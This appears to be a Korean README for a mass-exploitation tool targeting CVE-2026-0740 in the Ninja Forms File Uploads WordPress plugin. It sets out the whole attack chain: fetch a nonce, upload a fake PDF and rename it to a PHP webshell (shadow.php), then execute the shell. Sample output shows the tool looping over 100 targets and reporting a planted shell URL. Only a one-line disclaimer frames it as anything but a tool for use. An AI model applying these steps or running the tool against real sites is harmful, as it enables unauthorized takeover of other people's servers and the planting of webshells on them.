
자동화된 대량 익스플로이터로, Ninja Forms File Uploads 플러그인의 인증되지 않은 임의 파일 업로드 취약점인 CVE-2026-0740을 악용하여 조작된 업로드를 통해 원격 코드 실행을 가능하게 합니다.
WordPress용 Ninja Forms - File Uploads 플러그인은 3.3.26을 포함한 모든 버전에서 'NF_FU_AJAX_Controllers_Uploads::handle_upload' 함수의 파일 유형 검증 누락 및 기능 검사 누락으로 인해 인증되지 않은 임의 파일 업로드에 취약합니다.
이 결함으로 인해 인증되지 않은 공격자는 다음을 수행할 수 있습니다:
~ CVSS 점수: 9.8 (치명적)
~ 영향을 받는 버전: <= 3.3.26
1단계: Nonce 획득
────────────────────────────────────
POST /wp-admin/admin-ajax.php
데이터: action=nf_fu_get_new_nonce&field_id=7&form_id=7
응답: {"success":true,"data":{"nonce":"7a850757a1"}}
│
▼
2단계: 위장 파일 업로드 + PHP로 이름 변경
──────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
데이터:
- action=nf_fu_upload
- nonce=7a850757a1
- field_id=7
- form_id=7
- [email protected] (화이트리스트 확장자)
- doc_pdf=shadow.php (이름 변경 대상)
│
▼
3단계: 서버가 악성 파일 저장
─────────────────────────────────────
위치: /wp-content/uploads/ninja-forms/tmp/shadow.php
내용: PHP 셸 (업로더 / 웹셸)
│
▼
4단계: 업로드된 파일 실행
────────────────────────────────────
GET /wp-content/uploads/ninja-forms/tmp/shadow.php
→ 웹셸 실행
→ 전체 서버 장악
- 현장 실험을 통한 결론:
1. `nf_fu_get_new_nonce` 엔드포인트는 필드 존재 여부를 확인하지 않고 유효한 nonce를 반환함
→ `field_id` 및 `form_id` 매개변수에 대한 검증 없음 (임의의 ID도 작동)
2. 이름 변경 기능의 치명적인 논리적 결함
→ 플러그인은 POST 매개변수를 통해 사용자가 제공한 파일명을 수락함
→ 이름 변경 후 최종 파일 확장자에 대한 검증 없음
3. 업로드된 파일은 웹에서 접근 가능한 디렉토리에 직접 저장됨
→ /wp-content/uploads/ninja-forms/tmp/
4. 이 도구의 소유자는 매우 잘생겼음
˚⊱🪷⊰˚ NINJA FORMS MASS EXPLOITER ˚⊱🪷⊰˚
╰┈➤ 전체 응답 표시
[+] 100개 대상 로드됨
[1/100]
😈 [FRISKA RESEARCHER] 공격 대상: https://example.com
[*] nonce 획득 중...
[*] HTTP 상태: 400
[*] 응답: 0
[-] HTTP 오류: 400
[2/100]
😈 [FRISKA RESEARCHER] 공격 대상: https://www.test.com
[*] nonce 획득 중...
[*] HTTP 상태: 200
[*] 응답: {"success":true,"data":{"nonce":"b0404ec210","nonce_expiry":1775648146}}
[+] Nonce: b0404ec210
[*] 셸 업로드 중...
[*] 업로드 응답: {"data":{"files":[{"name":"doc.pdf","full_path":"doc.pdf","type":"application\/pdf","tmp_name":"shadow.php","error":0,"size":246,"new_tmp_key":"doc_pdf"}]},"errors":[],"debug":[]}
============================================================
🔥 SHELL UPLOADER: https://www.test.com/wp-content/uploads/ninja-forms/tmp/shadow.php
============================================================
소유하지 않았거나 테스트 권한이 없는 시스템에 대한 무단 사용은 불법입니다.